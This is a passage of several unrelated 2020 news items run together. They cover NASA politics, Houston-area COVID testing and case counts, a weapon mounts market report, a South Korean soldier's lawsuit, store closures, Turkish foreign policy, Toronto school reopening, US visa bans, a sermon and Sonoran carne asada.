space-related programs and policies in opposition to President Obama's space legacy. Trump last week tweeted that NASA was "closed and dead" before he became president, but the agency wasn't shut down before he got into office. He also claimed credit for SpaceX's successful crewed launch for the space agency, which began in earnest under a program funded by the Obama administration. Trump is using space as a campaign issue, most notably in an ad that was pulled because it violated NASA policies that restrict the use of astronaut images in advertisements. What to watch: How Joe Biden proceeds with NASA's Artemis Moon program Trump's flagship space policy if he is elected in November remains to be seen. While a draft of the Democratic Party platform specifically calls out the importance of a human return to the Moon, Trump's politically motivated 2024 deadline for the crewed landing will almost certainly be changed if Biden is elected. The 2024 goal for Artemis was, in part, born from a desire to lower the "political risk" of a big program that would usually stretch across multiple administrations, risking cancelation, NASA administrator Jim Bridenstine has said. "I don't think the 2024 goal has a chance in hell of surviving. I mean, Congress doesn't want to pay for it now," John Logsdon, the founder of the Space Policy Institute at George Washington University, told Axios. The backstory: Trump is far from the first president to refuse credit to his predecessors for the space advancements they put in motion. When Obama came into office, he cancelled the George W. Bush-era Constellation program back to the Moon in favor of sending astronauts to an asteroid instead. While there were technical and other challenges with Constellation, many experts agree the cancellation was at least in part politically motivated. And credit taking in space stretches further back. "At the time of Apollo 11, Richard Nixon never mentioned Kennedy," Logsdon said. The bottom line: NASA's high-profile human spaceflight wins like the International Space Station and Commercial Crew Program have been the result of consistent policies carrying over from one administration to others. A new coronavirus testing site is available in Kingwood, and it will serve as one of Houstons two federally funded surge sites. The Houston Health Department has partnered with the U. S. Department of Health and Human Services and the State of Texas to offer the free COVID-19 testing at mega sites this week that can support a high-volume. The Kingwood Community Center site, located at 4102 Rustic Woods Drive, can offer 1,250 daily tests. It will be open from 10 a.m. to 7 p.m. between Aug. 10 -15. Appointments are required and can be made at www.doineedacovid19test.com or on-site. CORONAVIRUS: Individual at Humble ISDs Woodcreek Middle tests positive for coronavirus The Lake Houston area has now reached a total of 4,054 confirmed cases and 62 deaths from COVID-19 according to data from Harris County Public Health as of Aug. 10. The Observer has defined the Lake Houston as these eight zip codes: 77532, 77044, 77396, 77336, 77346, 77338, 77339 and 77345. As of 6 p.m., Texas reached 508,284 cases and 8,926 deaths. Statewide, there were 7,304 patients hospitalized for lab-confirmed COVID-19, the 10th straight day with a decline. The seven day average for new cases has also declined for five straight days, according to the Houston Chronicle data team. In addition to this surge site, there are other locations around Houston and in the Lake Houston area continuing to test daily. For more information on where to find a test, visit the City of Houston Emergency Information Center website here. According to the press release from the Houston Health Department, information from testing, treatment or services will not be used against immigrants in their public charge evaluation. Symptoms of the coronavirus include fever, chills, cough, shortness of breath or difficulty breathing, fatigue, muscle or body aches, headaches, new loss of taste or smell, sore throat, congestion or runny nose, nausea, vomiting, /or anddiarrhea according to the Centers for Disease Control and Prevention (CDC), More Information Data on the coronavirus from can be viewed by zipcode on the Harris County Public Health website. These zipcodes cover the Lake Houston area as of Aug. 10, which had 4,054 confirmed cases and 62 deaths in total. 77396 906 confirmed cases 279 active cases 618 recovered cases 9 Deaths 77346 712 confirmed cases 215 active cases 493 recovered cases 4 Deaths 77338 762 confirmed cases 225 active cases 513 recovered cases 24 Deaths 77339 226 confirmed cases 92 active cases 121 recovered cases 13 Deaths 77345 92 confirmed cases 48 active cases 43 recovered cases 1 Deaths 77044 791 confirmed cases 281 active cases 505 recovered 5 deaths 77532 485 confirmed cases 222 active cases 257 recovered 6 deaths 77336 80 confirmed cases 40 active cases 40 recovered 0 deaths See More Collapse REAL ESTATE: People are ditching Houston for 'green pastures' because of city's COVID surge It is recommended by the CDC to wash hands with soap frequently for at least 20 seconds and to physically distance when around others. Although it is currently mandated, the CDC also recommended to wear a mask covering the nose and mouth as well as covering coughs and sneezes to prevent any potential spread of the virus. Clean and disinfect surfaces daily, or when they get dirty and monitor your health for any symptoms, according to the CDC. savannah.mehrtens@chron.com DUBLIN, Aug. 11, 2020 /PRNewswire/ -- The "Weapon Mounts Market Forecast to 2027 - COVID-19 Impact and Global Analysis by Mount Type; Platform; Mode of Operation" report has been added to ResearchAndMarkets.com's offering. The Weapon mounts market was valued at US$ 1, 026.0 billion in 2019 and is projected to reach US$ 1, 727.0 billion by 2027; it is expected to grow at a CAGR of 8.8% from 2020 to 2027. The stimulating demand for remote weapon stations and increasing military expenditureare some of the key driving factors for global weapon mounts market. Moreover, accentuating adoption of armored vehiclesis anticipated to drive the growth of weapon mounts market during the forecast period. However, stability issues and heavy weight of solider portable mountsmay hinder the growth of the market. The growth in asymmetric warfare is propelling the military forces to opt for easy and convenient traversing capability. Owing to this, the demand for armored personnel carriers (APC) and light armored vehicles (LAV) is continuously up surging in the current scenario. The demand for easy maneuverability and increasing military budgets year on year has been reflecting increased attraction for armored vehicles among the military forces. Another factor gaining attraction of military forces towards armored vehicles is the capability to combat cross-border conflicts. The manufacturers of armored vehicles are integrating their vehicles with advanced technologies, including sensors, countermeasure systems, command and control systems (C2), weapon mounts, and fire control systems. Pertaining to the fact that the armored vehicles are capable of carrying machine guns, rocket launchers, the demand for weapon mounts on armored vehicles is accentuating rapidly, which is supporting the growth of weapon mounts market. The market for weapon mounts is segmented into mount type, platform, mode of operation, and geography. Based on mount type, the weapon mounts market is segmented into static mount and non-static mount. In 2019, the non-static mount segment held the largest share of global weapon mounts market. Based on platform, the weapon mounts market is segmented into ground, naval, and airborne. Naval based platforms are expected to be the fastest growing segment during the forecast period. Based on mode of operation, the market is segmented into manned and remotely operated. The manned segment contributed a substantial share in 2019 and remotely operated segment is projected to be the fastest growing mode of operation during the forecast period. Geographically, the market is broadly segmented into North America, Europe, Asia Pacific, the Middle East and Africa (MEA), and South America (SAM). North America held the major share of the market in 2019 and is expected to continue its dominance till 2027. Reasons to Buy Highlights key business priorities in order to assist companies to realign their business strategies. The key findings and recommendations highlight crucial progressive industry trends in the weapon mounts market, thereby allowing players to develop effective long term strategies. Develop/modify business expansion plans by using substantial growth offering developed and emerging markets. Scrutinize in-depth global market trends and outlook coupled with the factors driving the market, as well as those hindering it. Enhance the decision-making process by understanding the strategies that underpin commercial interest with respect to mount type, platform and mode of operation Key Topics Covered: 1. Introduction 1.1 Study Scope 1.2 Report Guidance 1.3 Market Segmentation 1.3.1 Weapon Mounts Market - By Mount Type 1.3.2 Weapon Mounts Market - By Platform 1.3.3 Weapon Mounts Market - By Mode of Operation 1.3.4 Weapon Mounts Market- By Region 2. Key Takeaways 3. Research Methodology 3.1 Coverage 3.2 Secondary Research 3.3 Primary Research 4. Weapon Mounts Market Landscape 4.1 Market Overview 4.2 Porter's Five Forces Analysis 4.2.1 Bargaining Power of Buyers 4.2.2 Bargaining Power of Suppliers 4.2.3 Threat to New Entrants 4.2.4 Threat to Substitutes 4.2.5 Competitive Rivalry 4.3 Ecosystem Analysis 5. Weapon Mounts Market - Key Market Dynamics 5.1 Key Market Driver 5.1.1 Stimulating Demand for Remote Weapon Stations 5.1.2 Increasing Military Expenditure 5.2 Key Market Restraint 5.2.1 Stability Issues and Heavy Weight of Solider Portable Mounts 5.3 Key Market Opportunity 5.3.1 Accentuating Adoption of Armoured Vehicles 5.4 Future Trends 5.4.1 Continuous Focus on Development of Robust Mounting Solutions 5.5 Impact Analysis of Drivers and Restraints 6. Weapon Mounts - Global Market Analysis 6.1 Overview 6.2 Weapon Mounts Market - Revenue and Forecast to 2027 (US$ Million) 7. Weapon Mounts Market Analysis - By Mount Type 7.1 Overview 7.2 Weapon Mounts Market, By Mount Type (2019 and 2027) 7.3 Static Mount 7.3.1 Overview 7.3.2 Static Mount: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 7.4 Non-Static Mount 7.4.1 Overview 7.4.2 Non-Static Mount: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8. Weapon Mounts Market Analysis - By Platform 8.1 Overview 8.2 Weapon Mounts Market, By Platform (2019 and 2027) 8.3 Ground 8.3.1 Overview 8.3.2 Ground: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.3.3 Vehicle-Mounted 8.3.3.1 Overview 8.3.3.2 Vehicle-Mounted: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.3.4 Fixed Installation 8.3.4.1 Overview 8.3.4.2 Fixed Installation: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.3.5 Dismounted Soldiers 8.3.5.1 Overview 8.3.5.2 Dismounted Soldiers: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.4 Naval 8.4.1 Overview 8.4.2 Naval: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.4.3 Aircraft Carriers 8.4.3.1 Overview 8.4.3.2 Aircraft Carriers: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.4.4 Destroyers 8.4.4.1 Overview 8.4.4.2 Destroyers: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.4.5 Frigates 8.4.5.1 Overview 8.4.5.2 Frigates: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.4.6 Corvettes 8.4.6.1 Overview 8.4.6.2 Corvettes: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.4.7 Offshore Patrol Vessels 8.4.7.1 Overview 8.4.7.2 Offshore Patrol Vessels: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.5 Airborne 8.5.1 Overview 8.5.2 Airborne: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.5.3 Combat Aircraft 8.5.3.1 Overview 8.5.3.2 Combat Aircraft: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.5.4 Attack Helicopters 8.5.4.1 Overview 8.5.4.2 Attack Helicopters: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 8.5.5 Special Mission Aircraft 8.5.5.1 Overview 8.5.5.2 Special Mission Aircraft: Weapon Mounts Market -Revenue and Forecast to 2027 (US$ Million) 9. Weapon Mounts Market Analysis - By Mode of Operation 9.1 Overview 9.2 Weapon Mounts Market, By Mode of Operation (2019 and 2027) 9.3 Manned 9.3.1 Overview 9.3.2 Manned: Weapon Mounts Market - Revenue and Forecast to 2027 (US$ Million) 9.4 Remotely Operated 9.4.1 Overview 9.4.2 Remotely Operated: Weapon Mounts Market - Revenue and Forecast to 2027 (US$ Million) 10. Weapon Mount Market - Geographic Analysis 10.1 Overview 10.2 North America: Weapon Mount Market 10.3 Europe: Weapon Mount Market 10.4 APAC: Weapon Mount Market 10.5 MEA: Weapon Mount Market 10.6 SAM: Weapon Mounts Market 11. Impact of Coronavirus Outbreak 11.1 Impact of COVID-19 Pandemic on Global Weapon Mounts Market 11.1.1 North America: Impact Assessment of COVID-19 Pandemic 11.1.2 Europe: Impact Assessment of COVID-19 Pandemic 11.1.3 Asia-Pacific: Impact Assessment of COVID-19 Pandemic 11.1.4 Middle East and Africa: Impact Assessment of COVID-19 Pandemic 11.1.5 South America: Impact Assessment of COVID-19 Pandemic 12. Industry Landscape 12.1 Market Initiative 13. Company Profiles 13.1 AEI Systems Ltd 13.1.1 Key Facts 13.1.2 Business Description 13.1.3 Products and Services 13.1.4 Financial Overview 13.1.5 SWOT Analysis 13.1.6 Key Developments 13.2 CRSystems Inc. 13.3 Engine Engineering Company 13.4 FN HERSTAL 13.5 Troy Products 13.6 Leonardo 13.7 ISTEC SERVICES LTD 13.8 Military Systems Group, Inc. 13.9 TMIL-systems 13.10 WE Platt 14. Appendix For more information about this report visit https://www.researchandmarkets.com/r/fjig5c Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1904 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Byun Hee-soo / Korea Times file A former South Korean solider, who was forcibly discharged after a sex reassignment surgery, on Tuesday filed an administrative suit against the Army's decision, saying it was unconstitutional. Byun Hee-soo, 22, who had the rank of staff sergeant, underwent the operation in Thailand last year and expressed desire to serve in the female corps. The Army, however, kicked her out in January, citing the Military Personnel Management Act. It said the case "constitutes a reason for being unable to continue service" due to mental and physical disabilities. It officially dismissed Byun's petition in July. Byun and a supporting civic group announced the launch of a formal legal battle during a press conference in Seoul. The group argued that there were "no grounds" for Byun to quit her military service under the current legislation. South Korea's Constitution does not allow any type of discrimination, such as depriving anybody of public status, due to "personal identity," it added. As Byun has lodged the complaint with the Daejeon District Court in the city located 160 kilometers south of Seoul, the group expressed hope that "the injustice of the measure will be corrected by the judiciary." It said the Open Society Foundations, an international civil support network launched by the well-known investor George Soros, would throw its weight behind Byun's legal fight. Kim Borami, a lawyer of Byun, said at issue in this case is whether it is right to construe a sex reassignment operation as a "physical disability." (Yonhap) Chinese smartphone maker Realme is planning to launch more C-series phones called Realme C15 and C12 in India soon. The phones that are believed to have Realme RMX2189 and RMX2180 model numbers have recently received approval from the Bureau of Indian Standards (BIS). Meanwhile, the C15 was also spotted on Realme India's support page. "We are a #TechTrendsetter brand with a 'Dare to Leap' philosophy and diverse product portfolio. The #realme C series was launched with one objective -- to provide best-in-class features and the Realme experience for every Indian. The new #EntryLevelValueKings are ready, #ComingSoon," the company tweeted. The Realme C15 was recently launched in Indonesia with a 6.5-inch IPS LCD HD+ panel with a water drop notch. It is powered by Helio G35 chipset and comes pre-installed with Realme UI based on Android 10 OS. It has a 13MP+8MP+2MP+2MP quad-camera system. Its front is fitted with an 8MP selfie camera. The device houses a 6000mAh battery and supports 18W fast charging through USB-C. Athletes, fitness buffs and others seeking nutrition and supplements will have to go a bit farther for their shopping after the GNC store in The Woodlands neighborhood of Alden Bridge closes. The popular fitness store is one of hundreds being shuttered by the company after a bankruptcy filing in June. No closure date has been set. The GNC location inside The Woodlands Mall will remain open. Related: Brooks Brothers closes in The Woodlands; new pet store opens Local GNC store manager Chris Routt said everything in the store is currently on sale but the final day of operations is not known at this time. This particular store is closing, it has been here quite a while, Routt said in a telephone interview. The corporate office made that decision. We have signage everywhere and local residents who shop here regularly have been getting emails about the closure. The store, located at 8000 Research Fores Drive, Suite No. 325, is one of three in the Montgomery County area. Routt said the GNC stores located in Conroe, inside The Woodlands Mall and also near the intersection of Interstate-45 and the Rayford Road intersection will remain open. The store employees only two people, Routt and an assistant manager. The closure is one of hundreds announced by the parent company, GNC Evolution of Pittsburgh, Penn. Other closures in the region include the GNC in Willowbrook Mall, Almeda Mall, Sheppard Square shopping center. According to various media reports, the closures have been planned since 2018 and include as many as 1,200 GNC stores in the United States and Canada. The closure of the Alden Bridge GNC is one of several recent business closures in The Woodlands, including the Pier 1 Imports and the Broken Barrel restaurant both in Hughes Landing Brooks Brothers in Market Street and New Lotus Moon in the Grogans Mill Village Shopping Center. In February, two Randalls grocery stores located in Grogans Mill and Panther Creek also closed. Related: Still no news on possible Randalls replacements in Woodlands Township board Chairman Gordy Bunch said closures are unfortunate, but township officials, foresee business failures and layoffs through the end of 2020 as well as in the 2021 calendar year. We are still asking our community to support local businesses. We want these businesses to rebound, Bunch added. The shutdowns, closures and other limitations on businesses in the township in 2020 have had a dramatic effect on sales tax revenue. According to Monique Sharp, assistant general manager for finance and administration for The Woodlands, the township has seen a loss of 7.3 percent of expected sales tax revenue through July 30. jeff.forward@chron.com In an interview on Midlands 103 on Monday, Minister for Health, Stephen Donnelly suggested that the counties of Laois, Offaly and Kildare were locked down in their entirety because people find distance confusing. During a lengthy interview (you can listen to it all at the link below), Minister Donnelly said that the lockdown had to be something everyone could understand adding that 'we can all understand county boundaries'. When asked about the situation in border areas, the Minister stated: "The feedback we got on the last set of measures was that the 20 kilometre measure was very, very difficult in that it led to a lot of confusion around what people could do. It was impossible basically to enforce. So this time the recommendation for the National Public Health Emergency Team is to stick to county boundaries. There's no right answer to this, there's various different ways you could do it but the National Public Health Emergency Team had to come up with a way that worked in terms of suppressing the virus in the community and was something that we can all understand and was reasonable. Obviously we can all understand county boundaries. The short answer is it is the county boundary." This map shows the location of the factories in yellow, the locked down areas in red and the areas not locked down in green. According the Minister, this three county, regional lockdown is easier for people to understand than more localised measures involving distance. If a 20km, which was used earlier in the process for the country, had been enforced, parts of Wicklow, Dublin, Meath and Westmeath would have been affected while much of Offaly, Laois and parts of Kildare would have been unaffected. CLICK PLAY TO LISTEN TO MONDAY'S MIDLANDS TODAY PROGRAMME ON MIDLAND 103 WHICH FEATURES AND INTERVIEW WITH MINISTER FOR HEALTH STEPHEN DONNELLY When Turkeys ruling Justice and Development Party (AKP) took power at the beginning of the century, the principle that got hold of the countrys foreign policy was called zero problems towards neighbors. It received praise domestically as well as abroad. Fast forward nearly two decades and there nearly isnt a conflict in Turkeys near abroad where the aspiring regional power is not involved. The fundamentals of Ankaras clashes were years in the making before a trigger unleashed the current tensions. Turkey risked missing out on the energy bonanza in the Eastern Mediterranean which a sea-grab maneuver should have prevented. Instead, it created a chain of conflicts and an increasingly hostile environment for Turkish interests. Besides the trigger, the reasons behind the animosity are historical and political. Greece's hostility is based on Turkey's imperial past and the illegal invasion of Cyprus that has split the island until this day. Ankara's support for the Muslim Brotherhood and opposition to President el-Sisi has sown the seeds of confrontation with Egypt. Furthermore, Turkeys continued denial of the Armenian genocide has ensured bitter relations with another neighbor. The trigger The discovery of major gas deposits in the Eastern Mediterranean is a promise of wealth that wasnt equally distributed. The geological conditions have primarily favored Egypt, Israel, and to a lesser extent Cyprus. The aggressive and unilateral actions of Ankara have backfired as the remaining littoral states are increasingly united in their actions. Primarily Cyprus and Greece are disadvantaged due to Turkeys claim that disregards international law and brings it in conflict with a fellow NATO member and two EU states. The illegal maritime deal Ankara signed with the government in Libyas Tripoli is the latest proliferation of Turkeys aspiration to gain at the cost of others. Related: Big Oil Forced To Change Strategy After The Oil Price Crash Although it was Turkeys initial goal to benefit from the massive energy wealth of the Eastern Mediterranean, the aggressive posturing has brought increased instability to North Africa and the Middle East. Turkish forces have entered the Libyan battlefield while certain sources claim that small numbers of the Egyptian army are deployed near Idlib to put pressure on Ankara. An ideological battle The military intervention in Libya was primarily motivated by the necessity to ensure the survival of the government in Tripoli which signed the maritime demarcation agreement. Turkeys military success ensured warlord Haftars failure in capturing Tripoli and repelled his forces to the coastal city of Sirte. The setback antagonized Egypt which was already locked in an ideological battle with Turkey over the latters support for the Muslim Brotherhood specifically and Islamic democracy in general. The parliament in Cairo recently approved the deployment of the army in neighboring Libya which would mark a serious escalation. Turkey, however, estimates that Egypt wont risk getting involved due to the relative weakness of the army. Syrias growing role Cairo is betting on multiple strategies to put pressure on Ankara without risking a confrontation in its direct neighborhood. Egypts assumed involvement in Syria, although minor, is a sign that Idlib could become a headache for Turkey. Already several Arab states including Saudi Arabia, the UAE, and Egypt have been developing ties with the Syrian Kurds. According to sources, the Kurdish delegations to these countries were headed by SDF commander Mazlum Kobane. The military nature of the diplomatic contacts shows the willingness of the parties to halt Turkeys involvement in Arab countries. Related: Russia Looks To Lure Shell Into New Arctic Oil Project In addition, Cairo has been working on getting Syria to return to the Arab League. This would strengthen cooperation and coordination between Arab states in response to Turkeys assertiveness in the region. The Greco-Egyptian agreement Ankaras most recent moves in Libya and its illegal drilling activities in Greek and Cypriot waters have brought Athens and Cairo together. Greek Foreign Minister Nikos Dendias secretly flew to Egypt to seal a strategic alliance with Cairo, which apparently took 15 years to conclude. Recent events, however, accelerated talks and strengthened the need for a demarcation agreement. Obviously, Ankara was quick to declare the arrangement null and void. Turkey is doubling down on its energy activities in the Eastern Mediterranean as another round of seismic research activities were announced in the disputed waters. Strengthened by a deal to keep refugees away from European shores and its indispensable strategic value to the West, Ankara feels that the EU and NATO eventually will cave to its demands. Therefore expect tensions to increase during the hot summer months as pressure mounts on all parties. By Vanand Meliksetian for Oilprice.com More Top Reads From Oilprice.com: Toronto families will be asked if they intend to send their children back to school with regular-sized classes, and if they would consider doing so if classes were smaller should the province provide funding to make that happen. Those questions will go out to parents starting Tuesday as the Toronto District School Board pushes the provincial government to change its back-to-school plans. School board trustees will be voting this week on a motion to ask that masks be made mandatory students in junior kindergarten to Grade 3 not just for older students, as is currently planned in a bid to allay concerns raised by parents and teachers. They will also consider a proposal seeking funding from the province for more teachers, as well as money to improve ventilation in buildings and to make sure all washrooms have touchless handwashing stations, among other items. I am moving the mask requirement because public health agencies agree that children over two years should wear masks indoors, and when social distancing is not available, said Beaches-East York Trustee Michelle Aarts, noting that Toronto bylaws mandate masks in indoor spaces. We want to start from a position of an abundance of caution, with proper education, training, options, and flexibility for different age groups, and then revise protocols as needed, she said. Aarts added that her youngest child is seven years old, and attends an overcapacity school of over 1,000 students, while another child has health issues. Masks in schools are a minimum requirement for me to choose to send my youngest back to school, she said. Like boards across the province, the TDSB is now trying to gauge parents interest in having their children return to the classroom as the COVID-19 pandemic continues. Families must decide if they want to send their children to school full-time, or prefer remote learning at home. All boards are warning that if parents change their minds after choosing the online option, their children could be put on a wait-list. High school students in large, urban boards will have the chance to switch from in-person to at-home learning between quadmesters. The government has mandated masks for students starting in Grade 4, and also set high school class sizes at 15 students in the larger boards. Elementary class sizes will remain as they were, which had meant up to 30 students in a classroom. The province is providing about $30 million to the Ontarios 72 boards to hire additional teachers. It is also hiring 500 public health nurses, in part to assist with random COVID-19 testing in high schools. The government is spending more than $309 million on education costs related to COVID-19, which Premier Doug Ford has said will result in the highest per-student expenditure of any province. Experts at Sick Kids and other childrens hospitals, however, have said that smaller classes are critical to the safe return, along with physical distancing and good hand hygiene. On Monday, Ford said hes confident about the fall restart, but to say Im confident no ones going to catch the virus its just not realistic with two million (students) going back into the system, 160,000 teachers. But I do believe we have the best plan in the entire country. Education Minister Stephen Lecce said the government is doing everything it can to de-risk the return to classrooms. Were doing everything we can to follow the evidence, the science and the emerging advice of our public health agencies, to put in layers of prevention, Lecce said. In a letter to Ford, Liberal Leader Steven Del Duca called on the premier to keep class sizes small. His party has calculated that the government needs to spend $3.2 billion to hire enough teachers, caretakers and to ensure student and staff safety. Del Duca also said the province could consider delaying the start of the school year to ensure that we get it right. This can be done using the same regional approach thats been used for the reopening of our economy, recognizing that a one-size-fits-all plan may not be advisable. The TDSB has said many of it schools are older and have small classrooms, so it will be difficult to enforce physical distancing if classes remain at their current size. Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Two years after images of children torn from their parents at the border horrified America, families are now being separated in new ways. And Im praying Americans especially evangelicals will speak up again. When President Trump signed an executive order to halt the separation policy in June 2018, it became the most significant immigration policy reversal in the three-and-a-half years of the Trump administration. Im convinced that it happened because of the many Americans who spoke out against it, including many white evangelicals who largely supported President Trump in 2016. In fact, most white evangelicals opposed the family separation policy, and several prominent Trump-supporting evangelical leaders spoke out forcefully. Those being separated this time are close relatives of U.S. citizens and green card holders. Their loved ones have been waiting patiently abroad in the U.S. immigration systems archaic family reunification process. Now, even after waiting years or in some cases decades, President Trumps April ban on most overseas immigrant visas processing means that these families separation will be extended. While spouses and minor children of U.S. citizens are exempted from this ban, others are not. For example, my World Relief colleagues in suburban Chicago are trying to help reunite a family originally from Cuba. Victor, a Lawful Permanent Resident, filed a petition for his wife, his daughter and his stepdaughter seven years ago. By the time the visas were processed, the older stepdaughter had turned 21 years old, which meant Victor had to file a new petition on her behalf, pay an additional $420 fee and begin waiting the approximately five years generally required for an unmarried adult child to be reunited with a parent. Now, after years apart from her sister, mother and stepfather, the adult daughter in Cuba should be able to finally join her family in the U.S. but this ban on overseas immigrant visa processing means that is now prohibited. Rene, a Lawful Permanent Resident from the Philippines, should be able to bring his daughter here relatively quickly within a manner of months since she is still a child. But the visa ban means that she is currently barred. Rene is on dialysis, facing a serious health condition, and he fears that this additional delay will mean he will lose the opportunity to see his daughter again. These are just two of many families who are now facing extended separation as a result of this cruel policy. In fiscal year 2019, 254,380 new immigrant visas were issued abroad based on family sponsorship processes that are now barred for at least the rest of the year. Theoretically, the visa ban does not apply to family reunification cases adjudicated within the U.S. such as when a spouse or child of a U.S. citizen or Lawful Permanent Resident is already in the U.S. on a temporary visa. However, as a result of fiscal mismanagement, the U.S. Citizenship and Immigration Services the agency responsible for adjudicating family reunification visas within the U.S. is dramatically backlogged, with processing times for family-based green card applications taking as long as 29 months in much of the U.S. already, with budget shortfalls threatening potential furloughs that would hamper the systems efficiency even further. Processing for family reunification visas within the U.S. (along with naturalization applications, initial petitions for family members stuck overseas and various other immigration processes) will likely grind to a standstill. The sort of family separation these policies cause does not elicit the same visceral response as a video of a toddler being ripped from her mothers arms at the border. But this more recent policy, which ultimately impacts a much larger number of families than the infamous 2018 policy, also leads to children crying themselves to sleep, half a world away from their mother or father in the U.S. even if were less likely to capture those tears on video. For evangelical Christians who have long championed family values, the reasons to insist on an immigration system that prioritizes ensuring intact families are obvious. Evangelical leaders representing institutions like the National Association of Evangelicals and the Southern Baptist Ethics & Religious Liberty Commission have outspokenly opposed this new ban on overseas immigrant visa processing, noting its family separation effects. Evangelicals from 49 states have echoed those concerns. But rather than heed these evangelicals concerns, last month President Trump extended this family-separating ban until at least 2021. When evangelicals joined other Americans in speaking up forcefully in 2018, it created the political pressure necessary to end a horrific policy. Now, as immigrant families are once again kept apart, will evangelicals speak up again? Nik Wallenda, quite literally, puts his life on the life. Nik Wallenda is a tight rope walker; he has over ten Guinness World Records for aerobatic feats and has performed some of the most daring and dangerous tight rope walking feats in history. In 2012 Nik Wallenda became the first person to tight rope walk directly over Niagara Falls. In 2013 Wallenda tight rope walked across the Grand Canyon with no safety harness. In 2020 Wallenda tight rope walked across the Masaya Volcano; an active volcano in Nicaragua. My favourite walk of Nik Wallendas took place in 2014 where he walked between two skyscrapers across the Chicago river. Wallenda walked more than 600 feet above the ground with no safety harness. If that werent enough; the buildings were not the same height with Wallenda walking uphill on an incline of 19 degrees. After completing that walk; he then completed a second walk between two buildings this time blindfolded. Crazy brave or just crazy? Nik Wallenda is a committed Christian who can be heard praying and thanking God as he walks. Nik Wallenda divides opinion; some arent sure whether hes brave, crazy-brave or just crazy. Like him or not hes impossible to ignore; his skyscraper walks in Chicago was broadcast in over 200 countries across the world and was Discovery channels most watched live telecast for the year. Impossible odds If you thought tight rope walking between two buildings was daring we find an even more impossible situation in the Bible in the book of 1 Samuel. In chapter 13, Israel are in battle against their arch-rivals the Philistines. The Israelites and the Philistines were fierce enemies for generations and during the reign of Israels King Saul its the Philistines who had the upper hand. No weapons and no morale When Israel saw how badly outnumbered they were they lost their nerve and went missing. King Saul is camped at Gilgal; his men are trembling in fear. To make matters worse the Israelites dont possess any weapons. The Philistines were so dominant that they didnt allow any blacksmiths to operate in the land of Israel. Whenever an Israelite needed to sharpen their axe for cutting wood or sharpening their sickle to cut grain they had to pay a Philistine blacksmith. The Israelites would have to pay their enemies a fee. When it came to the battle against the Philistine only King Saul and his son Jonathan had swords. In one corner we have the Philistine army with troops numbering the grains of sand on the seashore and in the other corner we have Israel with a vanishing army, no weapons and no morale. Jonathans high wire act It's against this gloomy backdrop that Jonathan steps up and takes action. Come on, Jonathan said to his armour bearer, Lets go over to where the Philistines have their outpost. The idea that two men would take on an entire is reckless and foolhardy. Like tightrope walking across Niagara Falls; Jonathan is asking for trouble. Jonathan however is looking at this challenge from a different perspective. Hes not making his decisions based on the might of Israels army but rather on the might of Israels God. Jonathan tell his armour bearer, Perhaps the Lord will help us, for nothing can hinder the Lord. He can win a battle whether he has many warriors or only a few! Jonathan would remember the story of Gideon, a previous Judge of Israel, who defeated the Midianite army numbering many thousands with only three hundred troops. Jonathan knows something about his God. He knew something about Gods power and might that everyone else in Israel seemed to have forgotten. Jonathan knows God doesnt need a big army to have a big victory. The strength of perhaps? Jonathan isnt certain of a victory. He says perhaps the Lord will help us. Would you be willing to put your life of the line on the strength of a perhaps? Jonathan is taking a courageous stand but hes mindful of Gods leading as he does. He sets up a fleece to seek Gods guidance. Jonathan plans to let the Philistines see them and if the Philistines invite them to fight Jonathan will take it as a sign that God will give them the victory. When the Philistines see Jonathan they shout come on up here and well teach you a lesson. Life on the line Jonathan and his armour-bearer put their lives on the line. They engage the Philistines in battle and kill about twenty men. Suddenly the Philistines army is struck with panic and on top of the confusion God sends an earthquake throwing the Philistines into total chaos. One-minute King Saul is losing troops the next thing his troops are returning because the Philistines are in such confusion theyve begun fighting each other! Israel has a great victory because Jonathan bravely stepped up when others stepped back. Brave in the making You too can be like Jonathan when you remember that God is strong and God is with you. When you take a risk, step out and lead because if you do perhaps there might be a good outcome. When you put yourself out there, risking failure because there are some things worth standing up and speaking out over. When you do that; youre brave in the making. As a Mexican born and raised in Mexico City, I thought I knew my carne asada. But it wasnt until I traveled across the state of Sonora, from the border city of Nogales to Navojoa, in the southern part of the region, that I had a true taste of the northern-style carne asada experience. At a taco stand anywhere else, carne asada is grilled meat. But in Sonora, a carne asada is the weekly gathering of friends and family, with the dish at its heart. Every component from the dishes (the meat, the salsa, the beans, the smashed guacamole never with lime, the pillowy-soft flour tortillas) to their preparation (the cooking, the taco assembly) to everyones role (the parrillero, or grill master, his family members, the guests) is treated with almost reverence. A shared culinary experience, it embodies Sonoras agricultural way of life, bringing together the pillars of its economy: its beef, from the cattle that roam the regions ranches, and its flour tortillas, from the wheat that blankets its fields. The Saratoga County Sheriffs Office charged two teens in connection with a series of car break-ins in Clifton Park and nearby suburbs. Deputies said a 15-year-old and a 17-year-old, both from Schenectady, were charged with felony grand larceny as well as petit larceny, a misdemeanor. Deputies said more arrests are expected. They did not identify the two suspects due to their ages but had previously said the thieves targeted only unlocked cars, including some with their keys inside. The two teens were arrested Thursday while driving a stolen car in Malta, fleeing the scene of another theft, deputies said. They were released to their parents and their cases were sent to family court. Clifton Park hit with rash of car break-ins Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Last fall, the sheriffs office 